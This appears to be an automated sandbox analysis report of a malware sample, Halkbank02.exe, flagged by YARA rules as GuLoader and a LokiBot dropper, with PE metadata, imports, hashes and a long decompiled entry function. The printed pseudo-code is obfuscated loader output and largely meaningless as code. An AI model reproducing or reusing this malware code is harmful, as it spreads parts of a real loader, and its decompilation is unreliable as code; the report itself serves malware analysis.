    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

    Sections

    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
    .text0x10000x15dc40x16000False0.537486683239data6.51159061582IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
    .data0x170000xa340x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
    .rsrc0x180000x31be0x4000False0.143920898438data2.81606437364IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

    Resources

    NameRVASizeTypeLanguageCountry
    CUSTOM0x1ac400x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x1a6c20x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x1a1440x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x19bc60x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x196480x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x190ca0x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    CUSTOM0x18b4c0x57eMS Windows icon resource - 1 icon, 16x16, 8 bits/pixelEnglishUnited States
    RT_ICON0x18a1c0x130data
    RT_ICON0x187340x2e8data
    RT_ICON0x1860c0x128GLS_BINARY_LSB_FIRST
    RT_GROUP_ICON0x185dc0x30data
    RT_VERSION0x182c00x31cdataChineseTaiwan

    Imports

    DLLImport
    MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaStrBool, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaI2I4, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, __vbaVarCat, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, __vbaDerefAry1, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaInStrB, __vbaLateMemCall, __vbaVarDup, __vbaFpI4, _CIatan, __vbaStrMove, _allmul, _CItan, __vbaFPInt, _CIexp, __vbaFreeObj, __vbaFreeStr

    Version Infos

    DescriptionData
    Translation0x0404 0x04b0
    LegalCopyrightGeneral court
    InternalNamemeduse
    FileVersion66.00
    CompanyNameGeneral court
    LegalTrademarksGeneral court
    CommentsGeneral court
    ProductNameGeneral court
    ProductVersion66.00
    FileDescriptionGeneral court
    OriginalFilenamemeduse.exe

    Possible Origin

    Language of compilation systemCountry where language is spokenMap
    EnglishUnited States
    ChineseTaiwan

    Network Behavior

    No network behavior found

    Code Manipulations

    Statistics

    CPU Usage

    Click to jump to process

    Memory Usage

    Click to jump to process

    System Behavior

    General

    Start time:10:38:01
    Start date:15/09/2021
    Path:C:\Users\user\Desktop\Halkbank02.exe
    Wow64 process (32bit):true
    Commandline:'C:\Users\user\Desktop\Halkbank02.exe'
    Imagebase:0x400000
    File size:114688 bytes
    MD5 hash:A4CB6740C9195C5579ACEF4F7C8E40C7
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:Visual Basic
    Yara matches:
    • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Author: Joe Security
    • Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Author: Florian Roth
    • Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000001.00000000.247791172.0000000000410000.00000020.00020000.sdmp, Author: Florian Roth
    Reputation:low

    Disassembly

    Code Analysis

    Reset < >

      Executed Functions

      APIs
      • NtAllocateVirtualMemory.NTDLL ref: 02BD671A
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID: *-x$++m3$]~$S$1Q$h.
      • API String ID: 2167126740-3053668793
      • Opcode ID: 6a5593c8b7e21fbcd9ae69279933058b4a5c3cc5f0b582f02990f9f7c3160922
      • Instruction ID: 6f25c054ba9cd53d731e7df6d66c2b0d03c034da2b562a42f6074f17b1c35a4d
      • Opcode Fuzzy Hash: 6a5593c8b7e21fbcd9ae69279933058b4a5c3cc5f0b582f02990f9f7c3160922
      • Instruction Fuzzy Hash: C1720EB56043899FDB349E38CD997DA7BB2FF59350F85422DDC899B214D3308A86CB42
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 53%
      			_entry_(signed char __eax, signed int __ebx, signed char __ecx, signed int __edx, signed int* __edi, signed int __esi) {
      				signed char _t375;
      				signed int _t376;
      				signed char _t377;
      				signed char _t378;
      				signed char _t379;
      				signed char _t380;
      				signed int _t382;
      				intOrPtr* _t384;
      				signed int _t385;
      				signed char _t386;
      				signed char _t388;
      				signed int _t389;
      				signed int _t390;
      				signed int _t391;
      				void* _t392;
      				signed char _t393;
      				intOrPtr* _t394;
      				intOrPtr* _t395;
      				signed char _t396;
      				signed int _t397;
      				signed int _t399;
      				signed char _t400;
      				signed int _t401;
      				signed int _t402;
      				intOrPtr* _t413;
      				intOrPtr* _t417;
      				signed char _t421;
      				signed char _t423;
      				void* _t424;
      				void* _t425;
      				signed char _t427;
      				signed char _t431;
      				signed int _t433;
      				signed int _t435;
      				signed char _t436;
      				signed char _t437;
      				void* _t438;
      				intOrPtr* _t443;
      				void* _t444;
      				signed int _t445;
      				signed char _t447;
      				signed char _t448;
      				intOrPtr* _t449;
      				signed int _t452;
      				intOrPtr* _t455;
      				intOrPtr* _t456;
      				intOrPtr* _t457;
      				void* _t460;
      				signed int _t462;
      				signed int _t463;
      				intOrPtr* _t464;
      				signed int _t465;
      				signed int _t467;
      				intOrPtr* _t469;
      				signed int _t472;
      				signed int _t473;
      				signed int _t474;
      				signed int _t475;
      				signed char _t479;
      				signed char _t482;
      				signed int _t484;
      				signed int _t485;
      				signed char _t487;
      				intOrPtr _t489;
      				signed int _t492;
      				signed int _t493;
      				signed int _t494;
      				intOrPtr* _t495;
      				intOrPtr* _t496;
      				intOrPtr* _t497;
      				void* _t498;
      				intOrPtr* _t499;
      				signed int _t500;
      				signed int _t501;
      				void* _t502;
      				intOrPtr* _t506;
      				intOrPtr* _t507;
      				signed int _t509;
      				signed int _t510;
      				void* _t521;
      				signed int _t523;
      				void* _t527;
      				intOrPtr* _t528;
      				void* _t531;
      				intOrPtr* _t533;
      				void* _t534;
      				signed char _t537;
      				signed char _t538;
      				signed char _t539;
      				signed char _t540;
      				signed char _t541;
      				signed int _t542;
      				signed int _t546;
      				intOrPtr _t557;
      				intOrPtr _t560;
      				intOrPtr _t562;
      				void* _t569;
      				void* _t570;
      				intOrPtr* _t573;
      				signed int _t574;
      				signed int _t575;
      				void* _t577;
      				signed int _t578;
      				signed int _t579;
      				void* _t594;
      				signed int* _t598;
      				signed int* _t599;
      				signed int _t600;
      				signed int _t603;
      				signed int _t604;
      				signed int _t608;
      				void* _t614;
      				signed int _t619;
      				signed int _t623;
      				signed int _t630;
      				void* _t634;
      				signed int _t635;
      				signed int _t640;
      				void* _t642;
      				signed int _t644;
      				signed short _t645;
      				void* _t646;
      				void* _t648;
      				signed int _t649;
      				signed int _t650;
      				signed int _t651;
      				void* _t652;
      				void* _t653;
      				signed int _t654;
      				void* _t667;
      				void* _t669;
      				void* _t670;
      				void* _t672;
      				signed int _t673;
      				signed int _t677;
      				void* _t681;
      				void* _t682;
      				signed int* _t696;
      
      				_t619 = __esi;
      				_t598 = __edi;
      				_t574 = __edx;
      				_t537 = __ecx;
      				_t494 = __ebx;
      				_t375 = __eax;
      				_push("VB5!6&*"); // executed
      				L004014F8(); // executed
      				 *__eax =  *__eax + __eax;
      				 *__eax =  *__eax + __eax;
      				while(1) {
      					 *_t375 =  *_t375 + _t375;
      					 *_t375 =  *_t375 ^ _t375;
      					 *_t375 =  *_t375 + _t375;
      					_t376 = _t375 + 1;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					_t574 = _t574 + _t494;
      					asm("adc cl, bl");
      					_t635 = _t634 + 1;
      					 *(_t537 - 0x7261b6d1) =  *(_t537 - 0x7261b6d1) >> _t537;
      					asm("cdq");
      					_push(0xb02314d6);
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					_t538 = _t537 +  *((intOrPtr*)(_t635 + 0x69));
      					asm("outsb");
      					asm("gs insb");
      					asm("insb");
      					if(_t538 >= 0) {
      						break;
      					}
      					 *_t538 =  *_t538 + _t376;
      					 *_t376 =  *_t376 & _t538;
      					_t537 = _t538 + 1;
      					 *_t376 =  *_t376 + _t376;
      					 *_t376 =  *_t376 + _t376;
      					_t494 = _t494 + _t494;
      					 *_t376 =  *_t376 ^ _t376;
      					_t634 = _t635 + 1;
      					asm("repe or [edx], cx");
      					_t672 = _t672;
      					_t489 = (_t376 ^  *_t598) - 1;
      					_t5 = _t494 - 0x5f3e302e;
      					_t375 =  *_t5;
      					 *_t5 = _t489;
      					if(_t489 != 0) {
      						continue;
      					} else {
      						asm("lodsd");
      						asm("int1");
      						asm("out dx, eax");
      						_pop(_t574);
      						asm("movsd");
      						_t538 = _t537 >> _t537;
      						asm("lodsd");
      						_t492 = _t375 + 0x00000001 & 0x3a648554;
      						asm("stosb");
      						 *((intOrPtr*)(_t492 - 0x2d)) =  *((intOrPtr*)(_t492 - 0x2d)) + _t492;
      						_t493 = _t494 ^  *(_t538 - 0x48ee309a);
      						_t494 = _t492;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						 *_t493 =  *_t493 + _t493;
      						_t376 = _t493 + 1;
      						 *_t376 =  *_t376 + _t376;
      						 *_t376 =  *_t376 + _t376;
      						 *_t376 =  *_t376 | _t376;
      						_t598 =  &((_t598 - 1)[0]);
      						_t696 = _t598;
      					}
      					break;
      				}
      				if(_t696 != 0) {
      					_t377 = _t376 +  *_t619;
      					__eflags = _t377;
      					goto L16;
      				} else {
      					if(_t696 == 0) {
      						L13:
      						asm("adc al, 0xc8");
      						return _t376;
      					}
      					if(_t696 < 0) {
      						return _t376;
      					} else {
      						_push(0);
      						_t482 = _t376 | 0x6b000501;
      						asm("outsd");
      						asm("insd");
      						asm("insd");
      						if (_t482 != 0) goto L9;
      						asm("sbb [ecx], eax");
      						 *_t574 =  *_t574 + _t482;
      						_t484 = _t482 &  *_t482 & 0x00000005;
      						_t13 = _t494 + 0x6f;
      						 *_t13 =  *((intOrPtr*)(_t494 + 0x6f)) + _t538;
      						asm("insd");
      						asm("insd");
      						if ( *_t13 != 0) goto L10;
      						_t485 = _t484 ^ 0x00001d5b;
      						 *0x2d00001b = _t485;
      						asm("adc al, 0x0");
      						 *_t538 =  *_t538 + _t494;
      						asm("sbb al, [eax]");
      						 *((intOrPtr*)(_t485 + _t485 + 0x46)) =  *((intOrPtr*)(_t485 + _t485 + 0x46)) + _t485;
      						_t598 = _t598 + _t598;
      						 *_t494 =  *_t494 + _t494;
      						 *_t485 =  *_t485 + _t485;
      						 *_t538 =  *_t538 + _t485;
      						_t377 = _t485 + 0x73694c00;
      						if(_t377 == 0) {
      							L16:
      							_t20 = _t538 + 0x6d + _t635 * 2;
      							 *_t20 =  *(_t538 + 0x6d + _t635 * 2) + _t574;
      							__eflags =  *_t20;
      							if( *_t20 < 0) {
      								goto L22;
      							} else {
      								 *_t494 =  *_t494 + _t538;
      								_pop(es);
      								_push(_t377);
      								_t382 = _t377 |  *_t377;
      								 *_t382 =  *_t382 + _t538;
      								_push(0xff000010);
      								_t635 = _t635 +  *_t382;
      								 *_t382 =  *_t382 + _t382;
      								_t26 = _t598 + _t382;
      								 *_t26 =  *(_t598 + _t382) + _t382;
      								__eflags =  *_t26;
      								goto L18;
      							}
      						} else {
      							 *_t377 =  *_t377 + _t538;
      							asm("adc al, ah");
      							_push(es);
      							_t598 = 0x1101c204;
      							_t487 = _t377 + 0x00000040 |  *(_t377 + 0x40);
      							 *_t494 =  *_t494 + 1;
      							asm("sbb eax, [eax]");
      							 *_t487 =  *_t487 + _t487;
      							_t382 = _t487 +  *0x73694c00;
      							if(_t382 != 0) {
      								 *_t382 =  *_t382 + _t538;
      								_t376 = _t382 + 0x28;
      								goto L13;
      							}
      							L18:
      							_t28 =  &(_t598[0x1c]);
      							 *_t28 = _t598[0x1c] + _t538;
      							__eflags =  *_t28;
      							if( *_t28 == 0) {
      								L26:
      								 *_t382 =  *_t382 + _t382;
      								_pop(es);
      								_pop(es);
      								_t34 =  &(_t599[0x1c]);
      								 *_t34 = _t599[0x1c] + _t539;
      								__eflags =  *_t34;
      								if( *_t34 == 0) {
      									goto L32;
      								} else {
      									asm("outsd");
      									asm("outsb");
      									_t385 = _t382 ^  *_t382;
      									__eflags = _t385;
      									goto L28;
      								}
      							} else {
      								asm("outsd");
      								asm("outsb");
      								_t385 = _t382 ^  *_t382;
      								_push(es);
      								 *_t598 =  *_t598 + _t385;
      								_t30 = _t635 + 0x75;
      								 *_t30 =  *(_t635 + 0x75) + _t538;
      								__eflags =  *_t30;
      								asm("insb");
      								if(__eflags == 0) {
      									L28:
      									_push(es);
      									 *_t599 =  *_t599 + _t385;
      									_t599[0x1b] = _t599[0x1b] + _t539;
      									asm("bound ebp, [fs:esi+0x69]");
      									goto L29;
      								} else {
      									if(__eflags < 0) {
      										L24:
      										_t672 = _t672 +  *_t494;
      										 *_t479 =  *_t479 + _t479;
      										 *_t619 =  *_t619 + _t479;
      										_t385 = _t479 + 0x78655400;
      										__eflags = _t385;
      										if(_t385 == 0) {
      											L29:
      											asm("outsb");
      											 *0x1680c30 =  *0x1680c30 + _t385;
      											_pop(ss);
      											_pop(es);
      											_t575 = _t574 +  *((intOrPtr*)(_t635 + _t619));
      											_t494 = _t494 + _t494;
      											_t635 = _t635 +  *_t575;
      											 *_t385 =  *_t385 + _t385;
      											 *_t385 =  *_t385 + _t540;
      											es = es;
      											_t39 =  &(_t599[0x1c]);
      											 *_t39 = _t599[0x1c] + _t540;
      											__eflags =  *_t39;
      											if( *_t39 != 0) {
      												asm("outsd");
      												asm("outsb");
      												goto L31;
      											}
      										} else {
      											 *_t574 =  *_t574 + _t385;
      											_push(cs);
      											_t599 = 0xb01ef04;
      											_t382 = _t385 + 0x00000030 | 0x00000010;
      											_t534 = _t494 - 1;
      											_t539 = _t540 - 1;
      											 *_t574 =  *_t574 + _t574;
      											es = _t534;
      											_t494 = _t534 + _t534;
      											_t635 = _t635 + 1 +  *_t382;
      											 *_t382 =  *_t382 + _t382;
      											__eflags =  *_t382;
      											goto L26;
      										}
      									} else {
      										 *0x16813b0 =  *0x16813b0 + _t385;
      										__eflags =  *0x16813b0;
      										_t598 = 0x1201ef04;
      										L22:
      										 *_t574 =  *_t574 + _t574;
      										 *_t377 =  *_t377 | _t377;
      										 *_t494 =  *_t494 + 1;
      										_t378 = _t377 & 0x00000000;
      										 *_t378 =  *_t378 + _t378;
      										_t379 = _t378 + 0x65540005;
      										__eflags = _t379;
      										if(_t379 < 0) {
      											L31:
      											 *_t379 =  *_t379 ^ _t379;
      											_push(es);
      											 *_t538 =  *_t538 + _t538;
      											 *((intOrPtr*)(_t494 + 0x55)) =  *((intOrPtr*)(_t494 + 0x55)) + _t538;
      											_push(_t574);
      											_push(_t494);
      											_t539 = _t538 - 1;
      											_push(_t619);
      											_push(_t574);
      											 *0x1e002d0 =  *0x1e002d0 + _t379;
      											asm("aaa");
      											_t380 = _t379 + 0x5120177;
      											_t495 = _t494 + _t494;
      											 *_t380 =  *_t380 + _t380;
      											 *_t539 =  *_t539 + _t539;
      											 *_t380 =  *_t380 | _t380;
      											_t494 = _t495 + 1;
      											asm("outsd");
      											asm("insd");
      											asm("insd");
      											asm("popad");
      											asm("outsb");
      											_t382 = (_t380 ^ 0x00000000) + 1;
      											 *_t382 =  *_t382 | _t382;
      											_push(_t672);
      											_push(_t574);
      											_t599 = _t598 - 1;
      											_push(_t382);
      											_push(_t494);
      											_t619 = _t619 + 1;
      											_push(_t574);
      											_t635 = _t635 + 2 +  *_t495 + 1;
      											_push(_t574);
      											_t43 = _t382 + _t382 * 2;
      											 *_t43 =  *(_t382 + _t382 * 2) + _t382;
      											__eflags =  *_t43;
      											L32:
      											_t575 = _t574 |  *(_t382 + 0xa);
      											asm("daa");
      											_push(es);
      											asm("fild word [edx]");
      											asm("adc [eax+eax], eax");
      											 *_t494 =  *_t494 + 1;
      											 *_t382 =  *_t382 - _t382;
      											 *_t382 =  *_t382 + _t382;
      											_t540 = _t539 |  *_t382;
      											 *((intOrPtr*)(_t494 + 0x6f)) =  *((intOrPtr*)(_t494 + 0x6f)) + _t382;
      											asm("insd");
      											asm("insd");
      											asm("popad");
      											asm("outsb");
      											_t384 = (_t382 ^  *[fs:eax]) + 1;
      											_push(es);
      											 *((intOrPtr*)(_t494 + 0x6d)) =  *((intOrPtr*)(_t494 + 0x6d)) + _t575;
      											asm("popad");
      											asm("insb");
      											asm("insb");
      											__eflags =  *_t384 - _t384;
      											_t385 = _t384 + 0x40;
      											__eflags = _t385;
      										} else {
      											_push(cs);
      											_t599 = 0xb01ef04;
      											_t479 = (_t379 ^  *_t379) +  *((intOrPtr*)((_t379 ^  *_t379) + _t619 * 4)) + 0x4c544110;
      											_t540 = _t538 + 1;
      											_t619 = _t619 - 1;
      											 *_t574 =  *_t574 + _t574;
      											 *_t479 =  *_t479 | _t479;
      											 *_t494 =  *_t494 + 1;
      											__eflags =  *_t494;
      											goto L24;
      										}
      									}
      								}
      							}
      						}
      						_t386 = _t385 + 0x2670627;
      						asm("adc [ebx], eax");
      						_t496 = _t494 + _t494;
      						_t640 = (_t635 |  *_t385) +  *_t575;
      						 *_t386 =  *_t386 + _t386;
      						 *_t496 =  *_t496 + _t540;
      						 *_t386 =  *_t386 | _t386;
      						_t497 = _t496 + 1;
      						asm("outsd");
      						asm("insd");
      						asm("insd");
      						asm("popad");
      						asm("outsb");
      						_t388 = (_t386 ^  *[fs:eax]) + 1;
      						 *_t388 =  *_t388 | _t388;
      						__eflags =  *_t388;
      						asm("a16 popad");
      						if( *_t388 >= 0) {
      							_t619 =  *(_t640 + 0x72 + _t619 * 2) * 0x2580400;
      							_push(_t388);
      							_t473 = _t388 |  *_t599;
      							_push(es);
      							asm("fild word [edx]");
      							asm("adc [edx], eax");
      							_t533 = _t497 + _t497;
      							_t669 = _t640 +  *_t533;
      							 *_t473 =  *_t473 + _t473;
      							 *((intOrPtr*)(_t473 + _t540)) =  *((intOrPtr*)(_t473 + _t540)) + _t540;
      							 *((intOrPtr*)(_t533 + 0x6f)) =  *((intOrPtr*)(_t533 + 0x6f)) + _t473;
      							asm("insd");
      							asm("insd");
      							asm("popad");
      							asm("outsb");
      							 *[fs:eax] =  *[fs:eax] ^ _t473;
      							_t474 = _t473 + 1;
      							 *_t474 =  *_t474 | _t474;
      							_push(_t474);
      							_push(_t474);
      							_push(_t669);
      							_t672 = _t672 - 1;
      							_t670 = _t669 + 1;
      							_t573 = _t540 + 2;
      							 *((intOrPtr*)(_t474 + _t575 * 8)) =  *((intOrPtr*)(_t474 + _t575 * 8)) + _t474;
      							_t575 = _t575 +  *((intOrPtr*)(_t474 - 0x20fa50fc)) +  *_t573;
      							 *_t474 =  *_t474 + _t474;
      							 *_t533 =  *_t533 + 1;
      							_t475 = _t474 & 0x0d000000;
      							es = _t575;
      							 *((intOrPtr*)(_t670 + 0x6c)) =  *((intOrPtr*)(_t670 + 0x6c)) + _t575;
      							asm("a16 jb 0x65");
      							 *_t619 =  *_t619 + _t475;
      							 *((intOrPtr*)(_t475 + _t475)) =  *((intOrPtr*)(_t475 + _t475)) + _t475;
      							_push(_t475);
      							_t599 =  &(_t599[0]);
      							_t540 = _t573 + 1;
      							 *0x77a0296 =  *0x77a0296 + _t475;
      							asm("insd");
      							 *(_t619 + 2) =  *(_t619 + 2) | _t540;
      							asm("adc cl, [ebx]");
      							_t497 = _t533 + _t533;
      							_t640 = _t670 +  *_t540;
      							 *_t475 =  *_t475 + _t475;
      							 *_t619 =  *_t619 + _t540;
      							_t388 = _t475 + 0x41564500;
      							__eflags = _t388;
      						}
      						_t541 = _t540 + 1;
      						_t673 = _t672 - 1;
      						_push(_t640);
      						 *((intOrPtr*)(_t541 + _t388)) =  *((intOrPtr*)(_t541 + _t388)) + _t388;
      						_t389 = _t388 |  *_t388;
      						__eflags = _t389;
      						_push(_t497);
      						if(__eflags < 0) {
      							 *0xff000e11 =  *0xff000e11 + 3;
      							__eflags =  *0xff000e11;
      							goto L42;
      						} else {
      							asm("insb");
      							if(__eflags == 0) {
      								L42:
      								asm("daa");
      								 *_t389 =  *_t389 + _t389;
      								 *_t541 =  *_t541 + _t575;
      								 *_t389 =  *_t389 | _t389;
      								__eflags =  *_t389;
      								_push(_t673);
      								asm("outsd");
      								if(__eflags < 0) {
      									goto L52;
      								} else {
      									asm("gs outsb");
      									if(__eflags == 0) {
      										goto L50;
      									} else {
      										 *_t619 =  *_t619 + _t389;
      										 *0x726f4800 =  *0x726f4800 + _t389;
      										asm("outsb");
      										asm("bound eax, [eax]");
      										_t469 = _t389 + 0xcd0632;
      										asm("sbb [edi], al");
      										_t599 = _t599 - 1;
      										_push(es);
      										asm("adc cl, [edi]");
      										_t497 = _t497 + _t497;
      										_t673 = _t673 +  *_t619;
      										__eflags = _t673;
      										goto L45;
      									}
      								}
      								goto L82;
      							} else {
      								asm("a16 jnz 0x6f");
      								__eflags =  *_t389 - _t389;
      								_t469 = _t389 + 0xdd;
      								_t673 = _t673 + _t640;
      								_pop(es);
      								 *_t497 =  *_t497 + 0xff000c11;
      								_t640 = _t640 +  *_t541;
      								 *_t469 =  *_t469 + _t469;
      								 *_t599 =  *_t599 + _t541;
      								_push(es);
      								 *((intOrPtr*)(_t541 + 0x5a)) =  *((intOrPtr*)(_t541 + 0x5a)) + _t469;
      								_push(_t640);
      								_push(_t575);
      								_t541 = _t541 - 1;
      								_t619 = _t619 - 1;
      								 *_t619 =  *_t619 + _t469;
      								 *_t541 =  *_t541 + _t541;
      								_t74 = _t640 + 0x61;
      								 *_t74 =  *(_t640 + 0x61) + _t575;
      								__eflags =  *_t74;
      								if(__eflags < 0) {
      									L45:
      									 *_t469 =  *_t469 + _t469;
      									 *_t575 =  *_t575 + _t575;
      									__eflags =  *_t575;
      									goto L46;
      								} else {
      									if(__eflags == 0) {
      										L46:
      										_t389 = _t469 + 0x6c6a4800;
      										__eflags = _t389;
      										if(_t389 < 0) {
      											L53:
      											asm("repe add [ebx+0x121101], dh");
      											 *_t497 =  *_t497 + 1;
      											 *[es:eax] =  *[es:eax] + _t389;
      											 *0x65760005 =  *0x65760005 + _t575;
      											asm("fs insb");
      											_t390 =  *_t389 * 0x70106;
      											__eflags = _t390;
      											goto L54;
      										} else {
      											 *((intOrPtr*)(_t541 + _t389)) =  *((intOrPtr*)(_t541 + _t389)) + _t389;
      											_pop(es);
      											_t78 = _t619 + 0x6f;
      											 *_t78 =  *(_t619 + 0x6f) + _t389;
      											__eflags =  *_t78;
      											if(__eflags < 0) {
      												L54:
      												_pop(es);
      												_t94 = _t575 + 0x61 + _t619 * 2;
      												 *_t94 =  *(_t575 + 0x61 + _t619 * 2) + _t575;
      												__eflags =  *_t94;
      											} else {
      												asm("gs insb");
      												if (__eflags == 0) goto L49;
      												_push(es);
      												_t389 = _t389 + 0x00000042 ^  *_t575;
      												__eflags = _t389;
      												L50:
      												_pop( *__esi);
      												 *_t599 =  *_t599 + 0x11;
      												asm("adc [eax], al");
      												 *_t497 =  *_t497 + 1;
      												_t391 = _t389 & 0x13000000;
      												_pop(es);
      												_t599[0x1b] = _t599[0x1b] + _t391;
      												asm("bound esp, [ebp+0x72]");
      												asm("insd");
      												 *_t619 =  *_t619 + _t391;
      												_t82 = _t391 + _t391;
      												 *_t82 =  *(_t391 + _t391) + _t391;
      												__eflags =  *_t82;
      												if( *_t82 >= 0) {
      													 *((intOrPtr*)(_t541 + _t391)) =  *((intOrPtr*)(_t541 + _t391)) + _t391;
      													_push(es);
      													 *((intOrPtr*)(_t619 + 0x6c)) =  *((intOrPtr*)(_t619 + 0x6c)) + _t391;
      													asm("popad");
      													asm("a16 outsb");
      													_t599 = _t599 +  *_t575;
      													_t393 = 0x141105c7 +  *_t391 * 0x56020e04;
      													_t531 = _t497 + _t497;
      													_t667 = _t640 +  *_t393;
      													 *_t393 =  *_t393 + _t393;
      													 *_t599 =  *_t599 + _t575;
      													 *_t393 =  *_t393 | _t393;
      													__eflags =  *_t393;
      													asm("a16 jnz 0x64");
      													if(__eflags < 0) {
      														L67:
      														_push(es);
      														asm("adc dl, [edi]");
      														 *_t393 =  *_t393 + _t393;
      														asm("sbb cl, [ecx]");
      														_t599[0x15] = _t599[0x15] + _t541;
      														_t645 = _t667 +  *((intOrPtr*)(_t393 + _t393)) + 1;
      														_push(_t575);
      														_t575 = _t575 - 1;
      														_push(_t645);
      														_t541 = _t541 - 1;
      														_t499 = _t531 + _t531 + 1;
      														 *((intOrPtr*)(_t541 + _t393)) =  *((intOrPtr*)(_t541 + _t393)) + _t393;
      														 *_t393 =  *_t393 | _t393;
      														__eflags =  *_t393;
      														_t673 = _t673 + 1 - 1;
      														asm("popad");
      														if(__eflags != 0) {
      															 *_t393 =  *_t393 + _t541;
      															 *((intOrPtr*)(_t541 + 0x52 + _t393 * 2)) =  *((intOrPtr*)(_t541 + 0x52 + _t393 * 2)) + _t575;
      															_t577 = _t575 + 1;
      															_push(_t577);
      															_push(_t645);
      															_push(_t499);
      															_t394 = _t393 - 1;
      															 *0x223050f =  *0x223050f + _t394;
      															_push(ss);
      															_t619 = _t619 +  *((intOrPtr*)(_t577 + _t394 - 0xffe4ee));
      															 *_t394 =  *_t394 + _t394;
      															_push(ds);
      															_t395 = _t394;
      															_t578 = _t577 + 1;
      															_t673 = _t673 +  *((intOrPtr*)(_t394 + _t394)) - 1;
      															_t600 =  &(_t599[0]);
      															_t646 = _t645 + 1;
      															_t144 = _t541 + _t395;
      															 *_t144 =  *(_t541 + _t395) + _t395;
      															__eflags =  *_t144;
      															goto L78;
      														} else {
      															asm("gs insb");
      															goto L69;
      														}
      													} else {
      														if(__eflags < 0) {
      															L66:
      															_t393 = _t391 + 0x82;
      															__eflags = _t393;
      															goto L67;
      														} else {
      															 *_t619 =  *_t619 + _t393;
      															 *_t619 =  *_t619 + _t393;
      															 *((intOrPtr*)(_t575 + 0x4f)) =  *((intOrPtr*)(_t575 + 0x4f)) + _t393;
      															_push(_t673);
      															_t599 =  &(_t599[0]) - 1;
      															 *0x1780497 =  *0x1780497 + _t393;
      															ss = _t575;
      															_t393 = _t393 + 0x151201a3;
      															__eflags = _t393;
      															asm("adc eax, 0x2c03ff00");
      															 *_t393 =  *_t393 + _t393;
      															 *_t393 =  *_t393 + _t531;
      															 *_t393 =  *_t393 | _t393;
      															__eflags =  *_t393;
      															asm("bound esi, [edx+0x6f]");
      															asm("outsb");
      															if(__eflags != 0) {
      																L69:
      																if(__eflags >= 0) {
      																	goto L75;
      																} else {
      																	_t465 =  *_t393 * 0x79039604;
      																	__eflags = _t465;
      																	goto L71;
      																}
      															} else {
      																if(__eflags <= 0) {
      																	L71:
      																	_t600 = _t599 +  *((intOrPtr*)(_t541 + 4));
      																	asm("in al, 0x3");
      																	asm("clc");
      																	 *_t541 =  *_t541 + _t575;
      																	asm("sbb [eax], al");
      																	 *_t499 =  *_t499 + 1;
      																	_t395 = _t465 -  *_t465;
      																	 *_t395 =  *_t395 + _t395;
      																	asm("sbb ecx, [eax]");
      																	 *((intOrPtr*)(_t600 + 0x62 + _t645 * 2)) =  *((intOrPtr*)(_t600 + 0x62 + _t645 * 2)) + _t541;
      																	asm("bound ebp, [ecx+0x65]");
      																	asm("arpl [fs:eax], ax");
